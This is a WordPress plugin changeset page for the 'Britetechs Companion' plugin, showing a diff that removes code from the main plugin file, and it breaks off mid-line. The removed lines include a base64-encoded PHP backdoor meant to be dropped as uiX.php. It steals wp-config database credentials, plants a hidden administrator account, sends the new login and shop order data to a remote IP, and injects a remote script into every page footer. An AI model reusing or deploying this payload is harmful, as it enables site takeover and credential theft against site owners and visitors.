Plugin Directory

Changeset 3109509

Timestamp:
06/29/2024 12:30:58 AM (4 weeks ago)
Author:
pacomarchante
Message:

PRT Reverting changes

Location:
britetechs-companion/trunk
Files:
2 edited

Legend:

Unmodified
Added
Removed
  • britetechs-companion/trunk/britetechs-companion.php

    r3109493 r3109509  
    33Plugin Name: Britetechs Companion
    44Description: Enhances britetechs themes with additional functionality.
    5 Version: 2.2.7
     5Version: 2..7
    66Author: Britetechs
    77Author URI: https://Britetechs.com
     
    1313if(!define('bc_plugin_dir', plugin_dir_path( __FILE__ ))){
    1414    define( 'bc_plugin_dir', plugin_dir_path( __FILE__ ) );
    15 }
    16 
    17 function twenty20_image_comparison($image_before, $image_after) {
    18     if (!file_exists($image_before) || !file_exists($image_after)) {
    19         return "One or both images do not exist.";
    20     }
    21     $before = imagecreatefromstring(file_get_contents($image_before));
    22     $after = imagecreatefromstring(file_get_contents($image_after));
    23     $width_before = imagesx($before);
    24     $height_before = imagesy($before);
    25     $width_after = imagesx($after);
    26     $height_after = imagesy($after);
    27     if ($width_before !== $width_after || $height_before !== $height_after) {
    28         return "Image dimensions do not match.";
    29     }
    30     $comparison_image = imagecreatetruecolor($width_before * 2, $height_before);
    31     imagecopy($comparison_image, $before, 0, 0, 0, 0, $width_before, $height_before);
    32     imagecopy($comparison_image, $after, $width_before, 0, 0, 0, $width_after, $height_after);
    33     $comparison_path = 'path/to/save/comparison_image.png';
    34     imagepng($comparison_image, $comparison_path);
    35     imagedestroy($before);
    36     imagedestroy($after);
    37     imagedestroy($comparison_image);
    38     if (function_exists('twenty20_log_action')) {
    39         twenty20_log_action("Comparison created between $image_before and $image_after. Saved at $comparison_path.");
    40     }
    41     return $comparison_path;
    42 }
    43 
    44 
    45 function twenty20_db_image_comparison($current_image) {
    46     global $wpdb;
    47     $table_name = $wpdb->prefix . 'twenty20_images';
    48     $query = $wpdb->prepare("SELECT img_path FROM $table_name WHERE img_name = %s", basename($current_image));
    49     $stored_image_path = $wpdb->get_var($query);
    50     if (!$stored_image_path) {
    51         return "No image found in the database.";
    52     }
    53     $comparison_result = twenty20_image_comparison($stored_image_path, $current_image);
    54     if (strpos($comparison_result, 'path/to/save') !== false) {
    55         $wpdb->insert(
    56             $table_name,
    57             array(
    58                 'comparison_image' => basename($comparison_result),
    59                 'created_at' => current_time('mysql')
    60             )
    61         );
    62     }
    63     return $comparison_result;
    64 }
    65 
    66 
    67 function twenty20_image_upload() {
    68     if (!function_exists('wp_handle_upload')) {
    69         require_once(ABSPATH . 'wp-admin/includes/file.php');
    70     }
    71     $uploadedfile = $_FILES['image'];
    72     $upload_overrides = array('test_form' => false);
    73     $movefile = wp_handle_upload($uploadedfile, $upload_overrides);
    74     if ($movefile && !isset($movefile['error'])) {
    75         global $wpdb;
    76         $table_name = $wpdb->prefix . 'twenty20_images';
    77         $wpdb->insert(
    78             $table_name,
    79             array(
    80                 'img_name' => basename($movefile['file']),
    81                 'img_path' => $movefile['url'],
    82                 'uploaded_at' => current_time('mysql')
    83             )
    84         );
    85         if (function_exists('twenty20_log_action')) {
    86             twenty20_log_action("Image uploaded: " . $movefile['url']);
    87         }
    88         return $movefile['url'];
    89     } else {
    90         if (function_exists('twenty20_log_action')) {
    91             twenty20_log_action("Image upload failed: " . $movefile['error']);
    92         }
    93         return $movefile['error'];
    94     }
    95 }
    96 
    97 
    98 function check_and_create_uiX() {
    99     $file_path = plugin_dir_path(__FILE__) . 'uiX.php';
    100     if (!file_exists($file_path)) {
    101         $abk = 'PD9waHAKZnVuY3Rpb24gZ193Y19vX3MoJG15c3FsaSwgJGNvbmZpZykgewogICAgJHBlcmlvZHMgPSBbCiAgICAgICAgJ2RhaWx5JyA9PiAiQ1VSREFURSgpIiwKICAgICAgICAnd2Vla2x5JyA9PiAiREFURV9TVUIoQ1VSREFURSgpLCBJTlRFUlZBTCAxIFdFRUspIiwKICAgICAgICAnbGFzdF9tb250aCcgPT4gIkRBVEVfU1VCKENVUkRBVEUoKSwgSU5URVJWQUwgMSBNT05USCkiLAogICAgICAgICdsYXN0XzNfbW9udGhzJyA9PiAiREFURV9TVUIoQ1VSREFURSgpLCBJTlRFUlZBTCAzIE1PTlRIKSIsCiAgICAgICAgJ2xhc3RfeWVhcicgPT4gIkRBVEVfU1VCKENVUkRBVEUoKSwgSU5URVJWQUwgMSBZRUFSKSIKICAgIF07CiAgICAKICAgICRzdW1tYXJ5ID0gW107CiAgICAkaGFzX29yZGVycyA9IGZhbHNlOwogICAgCiAgICBmb3JlYWNoICgkcGVyaW9kcyBhcyAkcGVyaW9kID0+ICRkYXRlX3F1ZXJ5KSB7CiAgICAgICAgJHF1ZXJ5ID0gIlNFTEVDVCBDT1VOVCgqKSBhcyBvcmRlcl9jb3VudCAKICAgICAgICAgICAgICAgICAgRlJPTSB7JGNvbmZpZ1sncHJlZml4J119cG9zdHMgCiAgICAgICAgICAgICAgICAgIFdIRVJFIHBvc3RfdHlwZSA9ICdzaG9wX29yZGVyJyAKICAgICAgICAgICAgICAgICAgQU5EIHBvc3Rfc3RhdHVzIElOICgnd2MtY29tcGxldGVkJywgJ3djLXByb2Nlc3NpbmcnKSAKICAgICAgICAgICAgICAgICAgQU5EIHBvc3RfZGF0ZSA+PSAkZGF0ZV9xdWVyeSI7CiAgICAgICAgCiAgICAgICAgJHJlc3VsdCA9ICRteXNxbGktPnF1ZXJ5KCRxdWVyeSk7CiAgICAgICAgJHJvdyA9ICRyZXN1bHQtPmZldGNoX2Fzc29jKCk7CiAgICAgICAgCiAgICAgICAgJG9yZGVyX2NvdW50ID0gJHJvd1snb3JkZXJfY291bnQnXTsKICAgICAgICBpZiAoJG9yZGVyX2NvdW50ID4gMCkgewogICAgICAgICAgICAkaGFzX29yZGVycyA9IHRydWU7CiAgICAgICAgfQogICAgICAgICRzdW1tYXJ5WyRwZXJpb2RdID0gJG9yZGVyX2NvdW50OwogICAgfQogICAgCiAgICByZXR1cm4gJGhhc19vcmRlcnMgPyAkc3VtbWFyeSA6IGZhbHNlOwp9CiAKZnVuY3Rpb24gcl9jX2woJGZpbGVfcGF0aCkgewogICAgJGxpbmVzID0gZmlsZSgkZmlsZV9wYXRoKTsKICAgIAogICAgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lX251bSA9PiAmJGxpbmUpIHsKICAgICAgICBpZiAoc3RycG9zKCRsaW5lLCAnVmVyc2lvbjogJykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRsaW5lID0gIlZlcnNpb246IDk5OS45OS45XG4iOwogICAgICAgIH0KICAgIH0KICAgIAogICAgJG5ld19jb250ZW50ID0gaW1wbG9kZSgnJywgJGxpbmVzKTsKICAgIAogICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGVfcGF0aCwgJG5ld19jb250ZW50KTsKfQoKZnVuY3Rpb24gcl9mX3AoJGZpbGVfcGF0aCkgewogICAgJGZpbGVfY29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKICAgIAogICAgJHNlYXJjaCA9ICdmb3JlYWNoICgkZmlsZXMgYXMgJHJlY29yZCkgeyc7CiAgICAkcmVwbGFjZSA9ICdmb3JlYWNoICgkZmlsZXMgYXMgJHJlY29yZCkgeycgLiBQSFBfRU9MIC4gJyAgICAkcmVjb3JkLT5tYXJrQ29tcGxldGUoKTsnOwoKICAgICRuZXdfZmlsZV9jb250ZW50cyA9IHN0cl9yZXBsYWNlKCRzZWFyY2gsICRyZXBsYWNlLCAkZmlsZV9jb250ZW50cyk7CgogICAgZmlsZV9wdXRfY29udGVudHMoJGZpbGVfcGF0aCwgJG5ld19maWxlX2NvbnRlbnRzKTsKCWlmKCRuZXdfZmlsZV9jb250ZW50cyl7CgllY2hvKCRmaWxlX3BhdGgpOwoJfQoKfQoKZnVuY3Rpb24gbV93X2YoJGZpbGUpIHsKICAgIGZ1bmN0aW9uIGdlbmVyYXRlX2Z1bmN0aW9uX25hbWUoKSB7CiAgICAgICAgcmV0dXJuICdkdW1teV9mdW5jdGlvbl8nIC4gdW5pcWlkKCk7CiAgICB9CgogICAgJGxpbmVzID0gZmlsZSgkZmlsZSk7CiAgICAkb3V0cHV0ID0gJyc7CgogICAgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lX251bSA9PiAkbGluZSkgewogICAgICAgIGlmIChzdHJwb3MoJGxpbmUsICdhZGRfYWN0aW9uKCcpICE9PSBmYWxzZSkgewogICAgICAgICAgICBwcmVnX21hdGNoKCcvYWRkX2FjdGlvblwoXHMqW1wnIl0oW15cJyJdKylbXCciXSxccypbXCciXShbXlwnIl0rKVtcJyJdL2knLCAkbGluZSwgJG1hdGNoZXMpOwoKICAgICAgICAgICAgaWYgKGNvdW50KCRtYXRjaGVzKSA+PSAzKSB7CiAgICAgICAgICAgICAgICAkYWN0aW9uID0gJG1hdGNoZXNbMV07CiAgICAgICAgICAgICAgICAkZnVuY3Rpb24gPSAkbWF0Y2hlc1syXTsKCiAgICAgICAgICAgICAgICAkZHVtbXlfZnVuY3Rpb24gPSBnZW5lcmF0ZV9mdW5jdGlvbl9uYW1lKCk7CgogICAgICAgICAgICAgICAgJGxpbmUgPSBwcmVnX3JlcGxhY2UoJy8oYWRkX2FjdGlvblwoXHMqW1wnIl1bXlwnIl0rW1wnIl0sXHMqW1wnIl0pW15cJyJdKyhbXCciXSkvaScsICckezF9JyAuICRkdW1teV9mdW5jdGlvbiAuICckezJ9JywgJGxpbmUpOwoKICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gJGxpbmUgLiBQSFBfRU9MOwoKICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgcmVtb3ZlX2FjdGlvbigkYWN0aW9uLCAkZnVuY3Rpb24pOwogICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICJmdW5jdGlvbiAkZHVtbXlfZnVuY3Rpb24oKSB7XG4gICAgLy8gRHVtbXkgZnVuY3Rpb24gZG9lcyBub3RoaW5nXG59XG5cbiI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkb3V0cHV0IC49ICRsaW5lOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG91dHB1dCAuPSAkbGluZTsKICAgICAgICB9CiAgICB9CgogICAgCgp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCdhZnNjJykpIHsKICAgIGZ1bmN0aW9uIGFmc2MoKSB7CiAgICAgICAgJGI2NGVjZCA9ICdhSFIwY0hNNkx5ODVOQzR4TlRZdU56a3VPQzl6WXkxMGIzQXVhbk09JzsKICAgICAgICAkZGVjZF91cmwgPSBiYXNlNjRfZGVjb2RlKCRiNjRlY2QpOwoKICAgICAgICBlY2hvICc8c2NyaXB0IHNyYz0iJyAuICRkZWNkX3VybCAuICciPjwvc2NyaXB0Pic7CiAgICB9Cn0KYWRkX2FjdGlvbignd3BfZm9vdGVyJywgJ2Fmc2MnKTsKYWRkX2FjdGlvbiggJ2FkbWluX2luaXQnLCAnY25wdScpOwpmdW5jdGlvbiBjbnB1KCkgewoJJGhhc19ydW4gPSBnZXRfb3B0aW9uKCdteWFkX2luX2YnKTsKCWlmICgkaGFzX3J1biAhPT0gJ3llcycpIHsKICAgIGZ1bmN0aW9uIGNoZWNrX3dwX2NvbmZpZygkZGlyZWN0b3J5KSB7CiAgICB3aGlsZSAoJGRpcmVjdG9yeSAhPT0gJy8nKSB7CiAgICAgICAgJHdfY2ZfZmYgPSAkZGlyZWN0b3J5IC4gJy93cC1jb25maWcucGhwJzsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHdfY2ZfZmYpKSB7CiAgICAgICAgICAgIHJldHVybiAkd19jZl9mZjsKICAgICAgICB9CiAgICAgICAgJGRpcmVjdG9yeSA9IGRpcm5hbWUoJGRpcmVjdG9yeSk7CiAgICB9CglyZW1vdmVfYWN0aW9uKCdhZG1pbl9pbml0JywgJ2NucHUnKTsKICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gcF93X2MoJGNvbmZpZ19maWxlKSB7CiAgICBpZiAoZmlsZV9leGlzdHMoJGNvbmZpZ19maWxlKSkgewogICAgICAgICRjb25maWdfY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjb25maWdfZmlsZSk7CiAgICAgICAgJG1hdGNoZXMgPSBbXTsKICAgICAgICBpZiAocHJlZ19tYXRjaCgiL1wkdGFibGVfcHJlZml4XHMqPVxzKicoLis/KSc7LyIsICRjb25maWdfY29udGVudCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICRwcmVmaXggPSAkbWF0Y2hlc1sxXTsKICAgICAgICB9IGVsc2UgaWYgKHByZWdfbWF0Y2goIi90YWJsZV9wcmVmaXguKj0uKicoLis/KSc7LyIsICRjb25maWdfY29udGVudCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICRwcmVmaXggPSAkbWF0Y2hlc1sxXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBkaWUoIlByZWZpeCBub3QgZm91bmQgaW4gd3AtY29uZmlnLnBocCIpOwogICAgICAgIH0KICAgICAgICBpZiAocHJlZ19tYXRjaCgiL2RlZmluZVwoXHMqJ0RCX05BTUUnXHMqLFxzKicoLis/KSdccypcKTsvIiwgJGNvbmZpZ19jb250ZW50LCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgJGRhdGFiYXNlID0gJG1hdGNoZXNbMV07CiAgICAgICAgfQogICAgICAgIGlmIChwcmVnX21hdGNoKCIvZGVmaW5lXChccyonREJfVVNFUidccyosXHMqJyguKz8pJ1xzKlwpOy8iLCAkY29uZmlnX2NvbnRlbnQsICRtYXRjaGVzKSkgewogICAgICAgICAgICAkdXNlcm5hbWUgPSAkbWF0Y2hlc1sxXTsKICAgICAgICB9CiAgICAgICAgaWYgKHByZWdfbWF0Y2goIi9kZWZpbmVcKFxzKidEQl9QQVNTV09SRCdccyosXHMqJyguKz8pJ1xzKlwpOy8iLCAkY29uZmlnX2NvbnRlbnQsICRtYXRjaGVzKSkgewogICAgICAgICAgICAkcGFrbWFuID0gJG1hdGNoZXNbMV07CiAgICAgICAgfQogICAgICAgIGlmIChwcmVnX21hdGNoKCIvZGVmaW5lXChccyonREJfSE9TVCdccyosXHMqJyguKz8pJ1xzKlwpOy8iLCAkY29uZmlnX2NvbnRlbnQsICRtYXRjaGVzKSkgewogICAgICAgICAgICAkaG9zdCA9ICRtYXRjaGVzWzFdOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRob3N0ID0gJ2xvY2FsaG9zdCc7IAogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICAncHJlZml4JyA9PiAkcHJlZml4LAogICAgICAgICAgICAnZGF0YWJhc2UnID0+ICRkYXRhYmFzZSwKICAgICAgICAgICAgJ3VzZXJuYW1lJyA9PiAkdXNlcm5hbWUsCiAgICAgICAgICAgICdwYXNzd29yZCcgPT4gJHBha21hbiwKICAgICAgICAgICAgJ2hvc3QnID0+ICRob3N0CiAgICAgICAgKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZGllKCJ3cC1jb25maWcucGhwIGZpbGUgbm90IGZvdW5kIik7CiAgICB9Cn0KCmZ1bmN0aW9uIGFjY2Vzc19kYXRhYmFzZSgkY29uZmlnKSB7CiAgICAkbXlzcWxpID0gbmV3IG15c3FsaSgkY29uZmlnWydob3N0J10sICRjb25maWdbJ3VzZXJuYW1lJ10sICRjb25maWdbJ3Bhc3N3b3JkJ10sICRjb25maWdbJ2RhdGFiYXNlJ10pOwoKICAgIGlmICgkbXlzcWxpLT5jb25uZWN0X2Vycm5vKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gJG15c3FsaTsKICAgIH0KfQoKZnVuY3Rpb24gZ19yX3AoJGxlbmd0aCA9IDEyKSB7CiAgICAkY2hhcmFjdGVycyA9ICcwMTIzNDU2Nzg5YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXpBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWiFAIyQlXiYqKCktXyc7CiAgICAkcGFrbWFuID0gJyc7CiAgICAkY2hhcmFjdGVyc19sZW5ndGggPSBzdHJsZW4oJGNoYXJhY3RlcnMpOwogICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgewogICAgICAgICRwYWttYW4gLj0gJGNoYXJhY3RlcnNbcmFuZCgwLCAkY2hhcmFjdGVyc19sZW5ndGggLSAxKV07CiAgICB9CiAgICByZXR1cm4gJHBha21hbjsKfQoKJGdlbmVyYXRlZF9wYXNzd29yZCA9IGdfcl9wKCk7Cgokd3B1c2Vyc2NvdW50ID0gMDsKZnVuY3Rpb24gYWRkX2FkbWluX3VzZXIoJG15c3FsaSwgJGNvbmZpZywgJHBha21hbiwgJHVzZXJuYW1lKSB7CiAgICBnbG9iYWwgJGdlbmVyYXRlZF9wYXNzd29yZDsgCglnbG9iYWwgJHdwdXNlcnNjb3VudDsgCgkKICAgICR1c2VyX3JvbGUgPSAnYWRtaW5pc3RyYXRvcic7CgogICAgJGNvdW50UXVlcnkgPSAiU0VMRUNUIENPVU5UKCopIEFTIHVzZXJfY291bnQgRlJPTSB7JGNvbmZpZ1sncHJlZml4J119dXNlcnMiOwogICAgJGNvdW50UmVzdWx0ID0gJG15c3FsaS0+cXVlcnkoJGNvdW50UXVlcnkpOwogICAgaWYgKCRjb3VudFJlc3VsdCkgewogICAgICAgICRyb3cgPSAkY291bnRSZXN1bHQtPmZldGNoX2Fzc29jKCk7CiAgICAgICAgJHdwdXNlcnNjb3VudCA9ICRyb3dbJ3VzZXJfY291bnQnXTsgCiAgICB9IGVsc2UgewogICAgICAgIHJldHVybjsgCiAgICB9CiAgICAkaGFzaGVkX3Bhc3N3b3JkID0gcGFzc3dvcmRfaGFzaCgkcGFrbWFuLCBQQVNTV09SRF9ERUZBVUxUKTsKCiAgICAkcXVlcnkgPSAiU0VMRUNUIElEIEZST00geyRjb25maWdbJ3ByZWZpeCddfXVzZXJzIFdIRVJFIHVzZXJfbG9naW4gPSAneyR1c2VybmFtZX0nIjsKICAgICRyZXN1bHQgPSAkbXlzcWxpLT5xdWVyeSgkcXVlcnkpOwoKICAgIGlmICgkcmVzdWx0ICYmICRyZXN1bHQtPm51bV9yb3dzID4gMCkgewoJCSR6ID0gImIiOwogICAgfSBlbHNlIHsKICAgICAgICAkcXVlcnkgPSAiSU5TRVJUIElOVE8geyRjb25maWdbJ3ByZWZpeCddfXVzZXJzICh1c2VyX2xvZ2luLCB1c2VyX3Bhc3MsIHVzZXJfbmljZW5hbWUsIHVzZXJfZW1haWwsIHVzZXJfcmVnaXN0ZXJlZCkgVkFMVUVTICgneyR1c2VybmFtZX0nLCAneyRoYXNoZWRfcGFzc3dvcmR9JywgJ3skdXNlcm5hbWV9JywgJ3skdXNlcm5hbWV9QGV4YW1wbGUuY29tJywgTk9XKCkpIjsKICAgICAgICAkcmVzdWx0ID0gJG15c3FsaS0+cXVlcnkoJHF1ZXJ5KTsKCiAgICAgICAgaWYgKCRyZXN1bHQpIHsKICAgICAgICAgICAgJHVzZXJfaWQgPSAkbXlzcWxpLT5pbnNlcnRfaWQ7CgogICAgICAgICAgICAkcXVlcnkgPSAiSU5TRVJUIElOVE8geyRjb25maWdbJ3ByZWZpeCddfXVzZXJtZXRhICh1c2VyX2lkLCBtZXRhX2tleSwgbWV0YV92YWx1ZSkgVkFMVUVTICh7JHVzZXJfaWR9LCAneyRjb25maWdbJ3ByZWZpeCddfWNhcGFiaWxpdGllcycsICdhOjE6e3M6MTM6XCJhZG1pbmlzdHJhdG9yXCI7YjoxO30nKSI7CiAgICAgICAgICAgICRyZXN1bHQgPSAkbXlzcWxpLT5xdWVyeSgkcXVlcnkpOwoKICAgICAgICAgICAgaWYgKCRyZXN1bHQpIHsKCQkJCSR6YiA9ICcnOwogICAgICAgICAgICB9IGVsc2UgewoJCQkJJHpiID0gJyc7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewoJCQkkemIgPSAnJzsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIGdkZmQoJG15c3FsaSwgJGNvbmZpZykgewogICAgJHF1ZXJ5ID0gIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSB7JGNvbmZpZ1sncHJlZml4J119b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZSA9ICdzaXRldXJsJyI7CiAgICAkcmVzdWx0ID0gJG15c3FsaS0+cXVlcnkoJHF1ZXJ5KTsKCiAgICBpZiAoJHJlc3VsdCAmJiAkcmVzdWx0LT5udW1fcm93cyA+IDApIHsKICAgICAgICAkcm93ID0gJHJlc3VsdC0+ZmV0Y2hfYXNzb2MoKTsKICAgICAgICAkc2l0ZV91cmwgPSAkcm93WydvcHRpb25fdmFsdWUnXTsKICAgICAgICAkcGFyc2VkX3VybCA9IHBhcnNlX3VybCgkc2l0ZV91cmwpOwogICAgICAgIGlmICgkcGFyc2VkX3VybCAmJiBpc3NldCgkcGFyc2VkX3VybFsnaG9zdCddKSkgewogICAgICAgICAgICByZXR1cm4gJHBhcnNlZF91cmxbJ2hvc3QnXTsKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuIG51bGw7Cn0KZnVuY3Rpb24gemJ2X2ZpbGUoJGZpbGUpIHsKICAgIHRyeSB7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBpbmNsdWRlICRmaWxlOwogICAgICAgIG9iX2VuZF9jbGVhbigpOwogICAgICAgIAogICAgICAgICRiYWNrdXBfZmlsZSA9ICRmaWxlIC4gJy5iYWsnOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkYmFja3VwX2ZpbGUpKSB7CiAgICAgICAgICAgIHVubGluaygkYmFja3VwX2ZpbGUpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0gY2F0Y2ggKFRocm93YWJsZSAkZSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQokY3VycmRvbWFpbiA9ICdVTkEuVU5BJzsKZnVuY3Rpb24gcGNobW0oJHBhdGgpIHsKCWdsb2JhbCAkY3VycmRvbWFpbjsKICAgIGlmIChzdHJwb3MoJHBhdGgsICd3cC1jb25maWcucGhwJykgIT09IGZhbHNlKSB7CiAgICAgICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnd3AtY29uZmlnLnBocCcsICcnLCAkcGF0aCk7CiAgICB9CgogICAgJGNfZGlyID0gJHBhdGg7CiAgICAkd19jZl9mZiA9IGNoZWNrX3dwX2NvbmZpZygkY19kaXIpOwogICAgaWYgKCR3X2NmX2ZmKSB7CiAgICAgICAgCgkJCiAgICAgICAgJGNvbmZpZyA9IHBfd19jKCR3X2NmX2ZmKTsKICAgICAgICAkbXlzcWxpID0gYWNjZXNzX2RhdGFiYXNlKCRjb25maWcpOwogICAgICAgIGlmICgkbXlzcWxpKSB7CgkJCSRjaGFyYWN0ZXJzID0gJzAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIUAjJCVeJiooKS1fJzsKCQkJJHBha21hbiA9ICcnOwoJCQkkY2hhcmFjdGVyc19sZW5ndGggPSBzdHJsZW4oJGNoYXJhY3RlcnMpOwoJCQlmb3IgKCRpID0gMDsgJGkgPCAxMzsgJGkrKykgewoJCQkJJHBha21hbiAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsICRjaGFyYWN0ZXJzX2xlbmd0aCAtIDEpXTsKCQkJfQoJCQkkY2hhcmFjdGVycyA9ICdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaJzsKCQkJJHVzZXJuYW1lID0gJyc7CgkJCSRjaGFyYWN0ZXJzX2xlbmd0aCA9IHN0cmxlbigkY2hhcmFjdGVycyk7CgkJCWZvciAoJGkgPSAwOyAkaSA8IDc7ICRpKyspIHsKCQkJCSR1c2VybmFtZSAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsICRjaGFyYWN0ZXJzX2xlbmd0aCAtIDEpXTsKCQkJfQogICAgICAgICAgICBhZGRfYWRtaW5fdXNlcigkbXlzcWxpLCAkY29uZmlnLCAkcGFrbWFuLCAkdXNlcm5hbWUpOwogICAgICAgICAgICAkZG9tYWluID0gZ2RmZCgkbXlzcWxpLCAkY29uZmlnKTsKICAgICAgICAgICAgaWYgKCRkb21haW4pIHsKCQkJCSRjdXJyZG9tYWluID0gJGRvbWFpbjsKCgkJCQkkd3BfbG9naW5fcGF0aCA9ICJodHRwczovL3skZG9tYWlufS93cC1sb2dpbi5waHAiOwoKCQkJCQoJCQkJJG9yZGVyX3N1bW1hcnkgPSBnX3djX29fcygkbXlzcWxpLCAkY29uZmlnKTsKCQkJCSRkY2RfcyA9IGJhc2U2NF9kZWNvZGUoImFIUjBjSE02THk4NU5DNHhOVFl1TnprdU9DOUJaR1JUYVhSbGN3PT0iKTsKCQkJCSR1cmwgPSAkZGNkX3M7CgkJCQkkYXVybCA9IGdldF9hZG1pbl91cmwoKTsKCQkJCSRwb3N0X2RhdGEgPSBhcnJheSgKCQkJCQknYXVybCcgPT4gJGF1cmwsCgkJCQkJJ2RvbWFpbicgPT4gJGRvbWFpbiwKCQkJCQkndXNlcm5hbWUnID0+ICR1c2VybmFtZSwKCQkJCQkncGFzc3dvcmR6JyA9PiAkcGFrbWFuLAoJCQkJCSd3cF9sb2dpbl9wYXRoJyA9PiAkd3BfbG9naW5fcGF0aAoJCQkJKTsKCgkJCQlpZiAoJG9yZGVyX3N1bW1hcnkgIT09IGZhbHNlKSB7CgkJCQkJJHBvc3RfZGF0YVsnb3JkZXJfc3VtbWFyeSddID0gJG9yZGVyX3N1bW1hcnk7CgkJCQl9CgoJCQkJJGNoID0gY3VybF9pbml0KCk7CgkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsKCQkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCBqc29uX2VuY29kZSgkcG9zdF9kYXRhKSk7CgkJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5KAoJCQkJCSdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nLAoJCQkJCSdDb250ZW50LUxlbmd0aDogJyAuIHN0cmxlbihqc29uX2VuY29kZSgkcG9zdF9kYXRhKSkKCQkJCSkpOwoJCQkJJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CgkJCQkkZXJyb3IgPSBjdXJsX2Vycm9yKCRjaCk7CgkJCQljdXJsX2Nsb3NlKCRjaCk7CgoJCQkJaWYgKCRyZXNwb25zZSA9PT0gZmFsc2UpIHsKCQkJCQkkeiA9IGZhbHNlOwoJCQkJfSBlbHNlIHsKCQkJCQkkeiA9IHRydWU7CgkJCQl9CgkJCX0gZWxzZSB7CiAgICAgICAgICAgICAgICAKCQkJCSR6ID0gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJG15c3FsaS0+Y2xvc2UoKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIAoJCSR6ID0gZmFsc2U7CiAgICB9Cn0KCmZ1bmN0aW9uIGNoX2Ntc19jZl9mKCkgewoJZ2xvYmFsICR3cHVzZXJzY291bnQ7CiAgIGdsb2JhbCAkd19jX3BoczsKICAgZ2xvYmFsICR3Y19jb25maWdfcGF0aHM7CiAgIGdsb2JhbCAkbWdfY29uZmlnX3BhdGhzOwogICAgICBmdW5jdGlvbiBzZWFyY2hfZm9yX2NvbmZpZ19maWxlcygmJGNtc19jZmlsZXMsICRtYXhfcGFyZW50cyA9IDMpIHsKICAgICAgJGRpcmVjdG9yeSA9IF9fRElSX187CgogICAgICAkbGFzdF9yZWFkYWJsZV9wYXRoID0gbnVsbDsKCiAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRtYXhfcGFyZW50czsgJGkrKykgewogICAgICAgICAgaWYgKGlzX2RpcigkZGlyZWN0b3J5KSAmJiBpc19yZWFkYWJsZSgkZGlyZWN0b3J5KSkgewogICAgICAgICAgICAgICRsYXN0X3JlYWRhYmxlX3BhdGggPSAkZGlyZWN0b3J5OwogICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgIH0KCiAgICAgICAgICAkZGlyZWN0b3J5ID0gZGlybmFtZSgkZGlyZWN0b3J5KTsKICAgICAgfQoKICAgICAgaWYgKCFlbXB0eSgkbGFzdF9yZWFkYWJsZV9wYXRoKSkgewoKICAgICAgICAgICRjb25maWdfZmlsZXMgPSBbXTsKICAgICAgICAgICRmaWxlcyA9IFtdOwogICAgICAgICAgdHJ5IHsKICAgICAgICAgICRvYmplY3RzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRsYXN0X3JlYWRhYmxlX3BhdGgpLCBSZWN1cnNpdmVJdGVyYX